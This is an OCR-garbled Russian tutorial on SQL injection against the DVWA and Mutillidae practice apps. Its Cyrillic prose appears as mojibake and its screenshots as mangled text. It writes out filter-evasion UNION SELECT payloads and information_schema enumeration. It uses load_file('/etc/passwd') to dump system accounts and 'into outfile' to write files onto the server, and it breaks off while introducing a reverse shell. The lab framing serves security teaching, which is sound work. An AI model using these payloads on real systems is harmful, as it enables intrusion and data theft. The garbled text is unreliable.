Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec. X Damn Vulnerable Web 2 x | +

« ¢ @ ® 10.02.7/dvwalvuinerabilities/sqliffid=—] +uNiOn/**[sEleCt/**table _name, 2+fRom information_schema.tables+where+table_schemas="dwwa’ Jimit+1 w O
£ Most Visited @ Getting Started "W, Kali Linux '\ Kali Training "\, Kali Tools ", KaliDocs “, Kali Forums “\ NetHunter [J Offensive Security & Exploit-DB & GHDB [ MSFu

in)
D\Wa)
Vulnerability: SQL Injection

Linsuictions S| User ID:

Home

Ssetup
Submit
Brute Force

‘Command Execution | I
CSRF

ID: -1' uNiOn/**/sEleCt/**/table_name, 2 fRom information_schema.tables where tlable_schema='dvwa' limit 1,2#
First name: users
Surname: 2

File Inclusion
\ More info

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help
Security Level: low
PHPIDS: disabled

Mps1 MOxkeM niepeOpath Bce TaONUIIbI, UCTIONbB3Ys BhIpakeHue «limity.

SQL-nabexkuun. O0xon GuabTPoOB.




B pamkax maHHOTO ypoKa pacCMOTPUM HEKOTOPBIE COBETHI U TPIOKH, MPHU
ucnoab3zoBanuu SQL-unbeknuili. Bcnomuute, yto Mbl ¢ BamMu paccmarpuBainu 1Ba
BeIpakeHUs: «and», «order by». HekoTopble caiiThl, B LIETSX YIydLICHUS
0€30I1acCHOCTH, IPOBEPSIOT B aipecHor cTpoke URL Hannune HEKOTOPBIX CIIOB,
KOTOPBIE COoZlepKaTcs B YEPHOM crucke. Takum 00pa3oM, MPOUCXOAUT (QUITBTPALIUS
NOTEHIIMAJIBHO OMACHBIX CJIOB, C MOMOIIBIO KOTOPBIX MOXKHO MPO3KCILTyaTUPOBATh
SQL-nnbexuuto. HanprumMep, MOTyT IpocMaTpuBaThCsl HATMYKE CIIOB: «and», «or,
«order by», «union select», u T. 1.

Ma1 yxke o6xoaunu GuibTpaiuio, ¢ moMmoinbio BurpSuite. Eciu Ha caiite
MPUCYTCTBYIOT Y€pPHBIE CIIUCKH, TO MBI MOXEM OOONTH MX, HO HE BCET/A.

Paccmotpum cutyanuto, koraa Bel xotute o0HapyxuTh SQL-UHBEKIHIO, U
BBOAUTE BhIpaxkeHue «and 1=1». Ero MmoxxHo 3amenuts Ha «aNd 777=777», unu
«anD 555=555». Kak BuauTe, "3BMEHUINCH HEKOTOPHIE CUMBOJIBI Ha 3aIrlaBHbIC, U
BBIpaXEHHE OYJIET BBIMOJIHEHO, AK€ €CJIM 3TO CJIOBO HAXOJIUTCS B YSPHOM CITHCKE

caura.
[To-aHamoruu MOKHO PacCCMOTPETH BhIpakeHue «order by», KOTOpoe IpUMET BH/I:
«oRdeR bY 1». OHo Takxe OyAeT BBIOIHATHLCS, BBITTOIHSSA 00X0] (DUIIBTPOB.

[lepeitnem Ha Briaaky BeO-npuioxernuss DVWA, SQL Injection (Blind), u BBenem
BbIpaxkeHue B ajpecHoil ctpoke URL: «orDeR bY 1%23»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox [- O}

Kali Linux, an Offensive Seci X Damn Vulnerable Web # % | 4
O ca T T T e "o
£+ Most Visited @ Getting Started ‘N, Kali Linux S, Kali Training ", Kali Tools ™, KaliDocs “, Kali Forums “\ NetHunter [ Offensive Security & Exploit-DB & GHDB [ MSFu
D\WA)

= Vulnerability: SQL Injection (Blind)

Instructions. | T

Setup |

Submit

Brute Force |

= TR

CSRF | Surname: adnin

File Inclusion

SQL Injection More info

Upload |

XSS reflected |

XSS stored |

DVWA Security |

PHP Info |

ABout

Logout

Username: admin View Source | view Help |
Security Level: low
PHPIDS: disabled

Bunum, uTo BbIpakeHHE ObLIO BBHITOIHEHO.
Emte onna Betb, KOTOPYIO CaiThl (PUKCUPYIOT B YEPHBIN CIIMCOK — ATO MPOOEIIBI.
3710 00XOIUTCS C MOMOLIBI0 CUMBOJIA «+, HIIM ABOWHOTO KOMMEHTAPHS «/**/».

Bcnomuute Beipaxkenue «union select 1,2 %23». Ono Oynet nmpeobpa3oBaHO st
ooxona ¢punbTpoB Kak: «uNiOn+SelLecT+1,2+%23». CUMBOJIBI UCTIONB3YIOTCS B



pa3HBIX PETUCTPAX, @ BMECTO MPOOETOB CTOUT ILTIOC. MOXKHO TaKxke
BOCIIOJIb30BaThCsl KOMMeHTapusiMu: «uNiOn/**/sEIEct/**/1,2/*%/9%23».

[Tepetinem Ha BkIaaky «SQL Injectiony, u BBefeM 3HaUeHHE «1», B TOJIE:

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Seci X Damn Vulnerable Web 2 X | +

& c @ © 10.0.2.7/dvwa/vulnerabilities/sqli/Zid=1&Submit=Submit# . Ot
£+ Most Visited @ Getting Started "\, Kali Linux '\, Kali Training " Kali Tools \ KaliDocs ™ KaliForums “\ NetHunter [l Offensive Security = Exploit-DB = GHDB [IMSFu

D Vulnerability: SQL Injection

User ID:

Brute Force
Command Execution
CSRF

File Inclusion
SOt Injection | More info
SQL Injection (Blind) |

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Lagout

Username: admin View Source | View Help

Security Level: medium
PHPIDS: disabled

i @

BBeneM B anpecHyo CTpOKY Hallle BIPAKEHUE:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec. X | [ Damn Vulnerable Web A x | +

<~ ¢ @ © 10.0.2.7/dvv

£+ Most Visited @ Getting Started *\ Kali Linux “\, Kali Training '\, Kali Tool ali Forums '\, NetHunter [fJ Offensive Security % Exploit-DB & GHDB JIMSFu

e Vulnerability: SQL Injection
Instructions User ID:
Setup

‘Submit
Brute Force
Command Execution E SELECt/**/1,2/**/#
CSRF S
File Inclusion I **fSELECt/**/1,2/**/#
1 F t ne: 1
| Surna 2
SQL Injection (Blind)

Upload
XSS reflected
XSS stored

More info

DVWA Security
PHP Info

View Source | View Help

BBIpa)KCHI/IC BBIIIOJTHCHO YCIICIIHO, 1 MBI MOKEM HCII0JIb30BAaTh III/I(i)pBI JJIA

0T06pa)KCHI/I}I 3HAYCHMH 13 0a3bl JaHHBIX.

CrenmyeT Tak)Ke MOMHUTH PO KOMMEHTAPUH, TaK KAaK KOMMEHTapUU MOTYT OBITH B
YEPHOM CIIHMCKE WJIH MPOCTO HE OyayT paboTars. Mbl MPUBOAUIIHN UX K BUIY

«%23», HO TaKKE MOXKHO 3aIMCHIBATh KaK: «/*», M «- -».

i @




WHuoraa moHaioOMThCS 3aKPBITh BRIPAXKEHHUE, U OTO JIETAETCS C TTIOMOIIBI0 TOUKH C
3ansaToM «;». Bapuanuu B3auMOJEHCTBUS: «; - -», «; /*», «;//». D10 Aenaercs
TOT/Ia, KOTJIa KOMMEHTAapHi B BUJIC U3 IpUMepa, He paboTaer.

Bbe3zonacHocts. Pukcupyem SQL-uHbeKknmMu.

B n1aHHOM ypoke Mbl pACCMOTPUM BBICOKUM YPOBEHb 0€30MTACHOCTH, U
paz0epem, moyemMy OH He ys3BUM K SQL-UHBEKIHIM.
[lepeitnem B DVWA, 1 BbICTaBUM HACTPOMKHN O€30MaCHOCTH Ha «BBICOKHIN:

Home |  DVWA Security *
Instructions |
Setup | Script Security

[security Level is currently nign. |

Brute Force

You can set the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVWA.

CSRF |
File Inclusion | | high | ~ || Submit |
SQL Injection |
SQL Injection (Blind) | pHPIDS
Upload
| v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS reflected |
You can enable PHPIDS across this site for the duration of your session.
XSS stored |
PHPIDS is currently disabled. [ ]
| -1 ]
PHP Info |
About
| Security level set to high
Logout |

Username: admin
Security Level: high
PHPIDS: disabled

[lepeitnem Ha Briagky «SQL Injectiony». Bee mo-ctangapty, mpoBepsem
CTPaHUILy C TOMOIIBIO ITUGPHI 1:



Damn Vulnerable Web /. X

&«

4+ Most Visited @ Getting Started % Kali Linux "% Kali Training

c @

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: high
DHDINS: dicoblod

Vulnerability:

SQL Injection

User ID:

Submit

ID: 1

Surname: admin

First name: admin

More info

View Source | View Help

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox e ® O

+
® 10.0.2.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# v @ W INn @0 =
e Kali Tools % KaliDocs % Kali Forums "% NetHunter [ Offensive Security >»

Kak Buaum, Bce paboTaer.
Tenepr nmompoOyem BBecTu SQL-uHBEKIINIO B TpeoOpazoBannbiii URL:



Damn Vulnerable Web £ X

<_

c o ® 10.0.2.7/dvwa/vulnerabilities/sqli/?ii=1 and 1=1&Submit=Submit#

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox (-]

+

- 9 ¥ In e

£+ Most Visited @ Getting Started “&, Kali Linux ", Kali Training %, Kali Tools " KaliDocs “, Kali Forums “e, NetHunter [ Offensive Security

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin

Security Level: high
DHDINS: dicoblad

Vulnerability: SQL Injection

User ID:

Submit

More info

View Source | View Help

Kak MbI MOXEeM BUIETh, CTPaHUIIA HE paOOTaeT.

[TonbITaeMcst BBECTH KaBBIUKY « “», B aApecHYr0 cTpoky URL:



Damn Vulnerable Web £ X

&«

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox e O 0 ‘

+

a @ ® 10.0.2.7/dvwa/vulnerabilities/sqlif?idf1' and 1=1RSubmit=Submit - O % In O =

#¥ Most Visited @ Getting Started %, Kali Linux "%, Kali Training "% Kali Tools %, KaliDocs %, Kali Forums " NetHunter [l Offensive Security »»

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: high

Vulnerability: SQL Injection

User ID:

Submit

More info

View Source | View Help

Omnarte Ta xe cutyarus. CtpaHulia He padoTaer.

Kak mpaBujio Mbl HE CMOTPUM Ha KOJI, HO B JJAHHOW CUTYaIlUU MPEJIIararo
MpoaHAIN3upoBaTh €ro. CTpaHuila no-cocTaBy Heya3BuMa Kk SQL-
UHBEKIIHUSIM.
Mps1 monpobyem cpaBHUTH KOJT HA BEICOKOM YPOBHE 0€30MaCHOCTH, C KOJIOM
Ha CPETHUX HACTPOMKAX.

Jl1a mpocMoTpa Kojia, HaM Hy»KHO HaXkaThb Ha KHOIIKY «View Sourcey,
KOTOpasi pacroiaraercsi B mpaBoM HIKHEM YIITY:



<_

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox e ® 0

[® Damn Vulnerable Web 2 X | +
g o @® 10.0.2.7/dvwa/vulnerabilities/sqli/?id=1" and 1=1&Submit=Submit - O & In @O =
£+ Most Visited @ Getting Started %, Kali Linux ", Kali Training " Kali Tools % KaliDocs " Kali Forums " NetHunter [J] Offensive Security >

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin

Security Level: high
DUHDING: dicoblod

Vulnerability: SQL Injection

User ID:

Submit

More info

iew Help

Bort, co0cTBeHHO, caM KOJI:




Damn Vulnerable Web App (DVWA)v1.0.7 :: Source - Mozilla Firefox M0 O

® 10.0.2.7/dvwa/vulnerabilities/view_source.php?id=sqli&security=high B |- g

SQL Injection Source

<?php
if (isset($ GET['Submit'1)) {

/ Retrieve data

$id = § GET['id'];
sid = stripslashes($id);
$id = mysql_real_escape_string($id);

if (is_numeric($id)){

$getid = "SELECT first_name, last name FROM users WHERE user id = 'sid'";
Sresult = mysql_query(s$getid) or die('=pre=' . mysql_error() . '</pre=' );

snum = mysql_numrows (Sresult);
$i=0;
while ($i < $num) {

$first = mysql_result(sresult,$i,"first_name");
$last = mysgl_result($result,si, "last name");

echo '=pres';
echo 'ID: ' . $id . "<br=First name: ' . $first . '<br>Surname: ' . s$last;

echo '=/pres';

Si++;

>

OTKpoeM TakKe HCXOHUKH Ha CPETHUX HACTPOUKaX 0€30TaCHOCTH JIJIS
CpaBHEHUS:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox

@ 10.0.2.7/dvwa/vulnerabilities/view_source.php?id=sgli&security=medium

SQL Injection Source

<?php

if (isset($_GET['Submit'1)) {

// Retrieve

51id
$id

data

§ GET['1d'];
mysql real escape string(gid);

$getid = "SELECT first name, last name FROM users WHERE user id = $1d";

Sresult =

mysql query(sgetid) or die('=pre=' . mysgl error(]) . '</pre=' J;

Snum = mysqgl_numrows (Sresult);

$i=0;

while ($i = Snum) {

sfirst

slast
echo
echo

echo

$i++;

| Compare

= mysql_result(s$result,$i,"first name");
= mysqgl result({gresult,si,"last name");

‘epre=";
'ID: " . $id . '<br=First name: ' . $first . '<br=Surname: ' . $last;
‘=/pre=";

- QY

Wtak, Ha cpeHUX HACTpoMKax 0€30MaCHOCTH MbI BUIUM, YTO 1d UuTaeTcs u
3alKChIBAETCS B IEpeMEeHHY1O 1d:




Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox P &

@ 10.0.2.7/dvwa/vulnerabilities/view_source.php?id=sgli&security=medium B | .- ww

SQL Injection Source

=?php
if (isset($_GET['Submit'1})) {

/ Retrieve data

$ GET['id'];
cape stringlsid);

¢getid = "SELECT first name, last name FROM users WHERE user id = $id";
sresult = mysql_queryisgetid) or die('=pre=" . mysgl_error() . '</pre=' );
snum = mysgl_numrows (Sresult);

$i=0;

while (%1 = Snum) {

§first = mysgl_result(sresult,$i,"first name");
slast = mysql_result(sresult,s1,"last name");

echo '=pre="';
echo "ID: ' . $id . '<br>First name: " . &first . '<br=Surname: ' . $last;

echo "=/pre=';

§i++;

| Compare |

Hanee ucnonsiyercsa pynkmus «mysql real escape string». Ota QpyHKIUA
MpeIHa3HAuYCHA CYUTHIBAHUS KaXKIOTO DJIEMEHTA B MepeMeHHOM 1d 1 et
CTHEIUATbHBIE CUMBOJIBI:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox > &

@® 10.0.2.7/dvwa/vulnerabilities/view_source.php?id=sqli&security=medium B | - ww

SQL Injection Source

=7php
if (isset($_GET['Submit*1)) {
/7 Retrieve dats

$id - & GET['id .
$id = mysgl real escape stringl(sid);

$getid = "SELECT first name, last name FROM users WHERE user id = $id";
sresult = mysgl query(sgetid) or die('=pre=' . mysgl error{) . '</pre=' J;
snum = mysql_numrows(Sresult];

$i=0;

while ($i = $num) {

gfirst = mysqgl_result(Sresult,$i,"first name");
glast = mysql_result(sresult,$i,"last name");

echo '=pre=';
echo "ID: ' . $id . '<=br>First name: ' . $first . '<br>Surname: ' . $last;

echo '=/pre=';

$i++;

| Compare |

Bce kaBbIYKH, KOTOPBIE MBI TIOTIBITAEMCS] BBECTH B 3TOU CTPOKE, OyayT
IPOCTO yAaneHbl. HaM mpocTo He Hy>KHO MCIIOIh30BaTh CUMBOJIBI, JJISI
paboThl ¢ anpecHoit crpokoit URL.

BBIp AKCHUC BBIITIAAUT KaK:




Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox — L

@ 10.0.2.7/dvwajvulnerabilities/view_source.php?id=sqli&security=medium G| - 9%

SQL Injection Source

<?php

if (isset($_GET['Submit'1)) {

$id = $_GET['id'];
$id = mysql_real_escape_string(sid);

$getid =| "SELECT first name, last_name FROM users WHERE user_id = $id";

sresult = mysql_query($getid) or die('=pre=' . mysql_error() . '</pre=' );
snum = mysql_numrows(Sresult);

$i=0;

while ($i < snum) {

$first = mysqgl result(Sresult, $i,"first name");
$last = mysgl resultisresult,si,"last name");

echo '=pre="';
echo "ID: ' . $id . '<br>First name: ' . $first . '<br=>Surname: ' . $last;
echo '=/pre=';

$it++;

| Compare |

Ham He HY>KHO BCTaBJIATh KaBBIUKHU B MEPEMEHHYIO «id».

AJITOpUTM 3KCIUTyaTaluu ciaeayromuii, u Bel ero 3naere. Hy:xHo BBeCcTH
Kakoe-1100 3HaYeHUE B IEPEMEHHYIO «1d», ¥ TOJIBKO TOCJIE 3TOT0 MOKHO
BBOAUTH MHBEKINIO Kojia B URL. HaM He Hy»KHO MCIOJIb30BaTh KaBBIYKHU.

Ecnu Mbl OyzieM cpaBHHMBATh KO/, C UCXOJHUKAaMU Ha BBICOKOM YPOBHE
0€30MacHOCTH, TO OOHAPYKUM, YTO BhIpaxeHue OyaeT hakTHIeCKu
UJCHTUYHBIM, 32 UCKIIOUEHHUEM oOpaMiieHus epeMeHHoM 1d oiluHapHBIMU
KaBbIYKaMH B SQL-BbIpaKeHUU.

JlaBaiiTe monpakTuKyeMcs ¢ BeinnoJHeHneM koja B URL Ha cpenHeM u Ha
BBICOKOM YpOBHE 0€30MaCHOCTH:



*(Untitled) [ O -]

File Edit Search Options Help
$getid = "SELECT first name, last name FROM users WHERE user id = s$id|;

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

[lo-unee, Ha cpesHEM YpOBHE O€30IIaCHOCTH, IIPU BBOAE yTBepxkaAeHus 1 and
1=1, pynkuus Oyget orOpachiBaTh ClielIMaIbHbIE CHMBOJIbI, HO UX Y HAC HET,
MIOATOMY BbIpa)KE€HHE OY/I€T BBIIIOJIHEHO.

TakuM 00pa30oM MOKHO BCTaBUTh HCTHHHOE YTBEPIKICHHE Ha BBICOKOM
YpPOBHE O€30IMacCHOCTH:

*(Untitled) (O -]

File Edit Search Options Help
$getid = "SELECT first name, last name FROM users WHERE user id = 1 and 1=1";

$getid = "SELECT first name, last name FROM users WHERE user id = '1 and 1=1|'";

Tak Kak Ha CpETHUX HACTPOUKAX MBI YK€ TECTUPOBAJIH, TO PACCMOTPUM
BBICOKHMH ypoBeHb. 1 and 1=1 OymeTr paccmarpuBarbes, Kak 4acTh id
MOJIb30BaTeis, U He OyaeT yacThio SQL-BeIpakeHUs. MbI MOXKEM BHJIETh, YTO
bynkuu «mysql _real escape string» HeIOCTaTOYHO, HO MOKHO OCTaBHUTh
JTAHHBIN KOJ B UICXOJTHOM COCTOSIHHH, U 3TO Oy/IeT TOBOJIBHO O€3011acHO, HO
HEe BbICOKas 3amuTa oT SQL-UHBEKIUN.

SQL-nabexkuuu. Urenne u 3anuch PaiijioB Ha cepsep ¢ nomoubo SQL-
HHbEKIMH.

S1 xoren ObI moKa3aThk BaM, Kak MOKHO HCITOIB30BaTh SQL-UHBEKITUU 71 YTCHUS
ro0oro Qaitna Ha cepBepe, Taxe 3a mpeneaaMu JUPEKTOPUH «WWW/», MBI CMOKEM
MPOYECTh COMECPKUMOE B IPYTUX TUPEKTOPUSIX U (harax.

[Tomumo 3anucu, Mbl MOXKEM UCTIONB30BaTh SQL-uHbEKIMY 1715 3anucu (paiaos
Ha CepBep.



Jlns Hayana, naBaiite paccMoTpuM uTteHue Qaitnos. OtkpoeM 65okHOT B Kali
Linux, 1 oTpeakTUpyeM Hallle BhIpakeHHe, ¢ KOTOpbIM BbI yxe 3Hakombl. OHO
nmeeT Bu: «union select null, username, null, null, null»:

*{Untitled)

File Edit Search Options Help
Inion select null, username, null, null, null]

BmecTo «usernamey, st xouy ucnonb3oBarbh QyHkuto «load file()», BHyTpu
CKOOOK 51 mponuiny (aiii, KOTopblid X0uy 3arpy3uTh. BelpaxkeHre NpuMeT BUI:
«union select null, load_file(,,/etc/passwd*), null, null, null»:

*(Untitled)

File Edit Search Options Help
union select null, username, null, null, null

union select null,load file('/etc/passwd’), null,null,null

union select null, 'example example' null,null,null]

CxkonupyeMm 3Ty cTpoky 1 BctaBuMm B URL, npeaBaputensHo 100aBUB OIMHAPHYIO
KaBBIUKY, ITOCIIE JJOTUHA, U KoMMeHTapus (%23):



File Edit Search Options Help
union select null, username, null, null, null

union select null,load_file('/etc/passwd'), null,null,null

union select null, 'example example'

null,null,null into outfile '/var/www/mutillidae' testing.txt

JlaBaiiTe mpoOOBaTh 3ayCTUTh 3TO BBIPAKECHUE:

Mozilla Firefox (- IO -
Kali Linux, an Offensive Sec: X | § 10.0.2.7/mutillidaefinde: X | § kali 50kb — flugekc:var X | +
<« e o @ & 10.0.2.7/mutillidaefindex.phpZpage =user-info.php&username =admin’ union select null load_file{ /etcfpasswal'), nullnull,null%2 I B9 Y IN@D =
£+ Most Visited @ Getting Started ™, Kali Linux ™\ Kali Training "\, Kali Tools W Kali Docs ", Kali Forums “\ NetHunter [ Offensive Security ® Exploit-DB & GHDB RIMSFu
/:TH Password
hacked...err...quality-
tested with Samurai Dont have an account? Please register here
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these Results for . 3 records found.
Mozilla Add-ons Username=admin
Password=adminpass
Signature=Monkey!
Username=admin
EE B e Password=adminpass
f 7‘]1 Signature=test
ﬂ | Username=root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:
MutIIII‘d /binfsync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
Ch ale news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var
BENE /Mwww:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/runfircd:/bin/sh
Devel d by Adri gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:
bt ve OP:.. cy :Ian /bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:
&"d“& 'eb“sla‘" Jusr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,;/home/msfadmin:/binfbash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:
and Jeremy Druin /bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL
Server,,,:/var/lib/mysgl:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a
user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var
/run/proftpd:/bin/false statd:x:114:65534::var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/binffalse
Signature=
Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
PHP Version: 5.2.4-2ubuntu5.10
The version of Mutillidae can downloaded from Irongeek’s Site
B utore Mp1 cMoriin IIPpOYHUTATh BCIO I/IH(I)OpMaI_II/IIO, KOTOpasa COACPIKUTCA B
) v
nupeKTopuu «/etc/paswd». He cTrouT orpaHnunBaThCs 3TOM TUPEKTOPUEH.
v
S xoTten Obl MOKa3aTh, KaK 3aMMChIBAIOTCS (pailyibl Ha cepBep. ITO OYEHB MOJIE3HO,
[V} [V}
TaK Kak Bbl cMoOkeTe HanmucaThb JII000H KO, KOTOPBIX 3aXOTHUTC.
MoxHO HCTI0IB30BaTh (PYHKIIUIO B BhIpakeHHH «into outfile», ¢ coxpaneHuem
[
KoHeuHoro Qaiina.. [IpogomxaemM MoauUIIMPOBATH HAIIIE BBIPAKEHUE, U OHO
. : 113 .
npuMeT BuA: «union select, null, ,,example example®, null, null, null into outfile
g1 “ . .
,J/var/www/mutillidae“ testing.txt »:
*{Untitled) (-3 )



«) = C @

£+ Most Visited @ Getting Started "%, Kali Linux " Kali Training "\, Kali Tools ", Kali Docs \, Kali Forums S, NetHunter [f§ Offensive Security  Exploit-DB & GHDB [ MSFu

® £ 10.0.2.7/mutillidaefindex.pl

Kali Linux, an Offensive Sec. X | § 10.0.2.7/mutillidaefinde: X | +

Mozilla Firefox

Wp?page =user-info.php&username=admin' union select null, ‘example example', null, null, null into outfile */var/w

®%¢ Mutillidae: Born to be Hacked

Core Controls 4

OWASP Top 10

Documentation

»
»
—
Site
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,

Netcat, and these
Mozilla Add-ons

@webpwnized

Version: 2.1.19

Home

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Login/Register

Toggle Hints  Toggle Security  ResetDB  ViewLog  View Captured Data

View your details

(@ Back

Please enter username and password
to view account details

Name
Password

View Account Details

Dont have an account? Please register here

ailure is always an option and this situation proves it

B Ivar/www/mutillidae/user-info.php

Buaum o6y, u Hare BeIpakeHUE HE paboTaer..
Ecnu Mbl ieTanbHO 03HAKOMHUMCS C OTIMCAHUEM OIIMOOK, TO yOeaUMCS, UTO Y HAC

HCT AOCTAaTOYHBIX IIpaB, AJIA TOTO, YTOOBI 3aIIMCHIBATh YTO-JIMOO Ha CCPBCLp.

Errar executina auery: You have an errar in vour SOL_svntax: check the manual that carresnands to vaur MySOL server versign farthe,

[Toiinem apyrum myTeM, ¥ onpodyeM TUPEKTOPUIO C BpEMEHHBIMHU (haiiamu, U,
Kak Bbl 3HaeTe — 310 «tmp».
Bripaxxenue Oynetr MonuduimpoBaHo kak: «union select null, 'example example',
null, null, null into outfile '/tmp/testing.txt'»:

G c @

© % 10.0.2.7/mut
£* Most Visited @ Getting Started "\ Kali Linux "\ Kali Training "\ Kali Tools '\, KaliDocs '\ Kali Forums '\ NetHunter [fJ Offensive Security ® Exploit-DB & GHDB IMSFu

Kali Linux, an Offensive Sec. X $ 10.0.2.7/mutillidae/inde: X | +

Mozilla Firefox

sername =admin§ union select null, 'example example’, null, null, null into outfile /tmp}t
&username=ad { 1 wll, 'examp amg iUL, null, nullin tmp

@)%« Mutillidae: Born to be Hacked

Core Controls

»

™

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these

Mozilla Add-ons

@webpv;lnlzed

Version: 2.1.19

Home

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Login/Register

Toggle Hints  Toggle Security ~ Reset DB Viewlog  View Captured Data

View your details

<§ Back

Authentication Error: Bad user name or password

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Please register here

Bce cpabotaio BepHo.




[epeiinem B Hamry mamuny «Metasploitable 2», nepeiins B AUPEKTOPUIO
«/var/www/phpMyadminy, u yBuauMm Ham Qaiin:

Metas [PaboTaeT] - Oracle VM VirtualBox

| @ain Mawwda Bugo Beom YcTtpoWctea CrnpaBka
sfadmin@metasploitable:svar/wwu/phpMyfdming lsstmp-
4496 . jsvc_up geconfd-msfadmin orbit-msfadmin |testing.txt
msfadmin@metasploitable:/var/uwww/phpMyAdning cat ~tnp-testing.txt
admin adminpass Monkeyt! TRUE
? admin adminpass test
“M
N exanple example MM “~N “N
sfadmin@metasploitable:/var /wwu/phpHyAdmning

@, B & =i {3 @ (& Npaswii Ctrl

PICIEUIEE S TIEMIMENIAIEET IE DN DA RENLS AW RTINS Y £ PR ST UT T RATUATNAT T

Ecau conmocTaBiaTh HAIIM IIard, TO MbI MOXKEM YBUJIETh, YTO OHM UJICHTUYHBI. MBI
3amucainy (air Ha cepBep.

YceranaBiauBaeM o0paTHoOe cOeIMHEHUE U MOJTy4YaeM MOJHbIH KOHTPOJIb HaJ
Be0-cepBepOM KepTBBI.

3IpaBCTBYWTE, TOPOTUE IPY3b.

B npenpiayiiem BUaeoypoKe Mbl pa3o0paliv 3aluch JaHHBIX Ha CEpPBEp, MPU
oMoty SQL-uHbeKIniA, B 4aCTHOCTH UCIOJB3Ys (PyHKIHIO «into outfile». B
cily4ae, €Clid CepBep MO3BOJIUT HaM 3alUChIBaTh (haliiibl B JUPEKTOPHUH, TO MbI
MO>XE€M BOCITIOJIb30BaThCsI OOPATHBIM IIEJJIOM, M UCIIOJIB3Ys TOT YK€ KO, KOTOPBIN
MbI UCIOJIB30BaJIM paHee, Uil UCTIONb30BaHUs JoCTyna kK cepeepy. [Ipodiema
3aKJII0Yajach B TOM, YTO Mbl HE CMOIJIM 3allUCaTh JaHHBIC B JUPEKTOPUIO, TOITOMY
CYIIECTBYET HEBO3MOXXHOCTh UTCHHUSI (pailsioB. MbI CMOTJIM TTPOBECTH 3aITUCH,
TOJILKO B JIUPEKTOPHIO /tmp, HO MBI HE MOXEM OTKpHITh tmp uepe3 URL.

A noxaxxy Bam permienue 3Toit mpo0iieMbl, HO y caiiTa Wi cepBepa J0KHA ObITh
YSI3BUMOCTH JIOKQJILHOTO 3amycka ¢aiinoB. Ha cepBepe, kak Mbl TOMHHM, MOXET
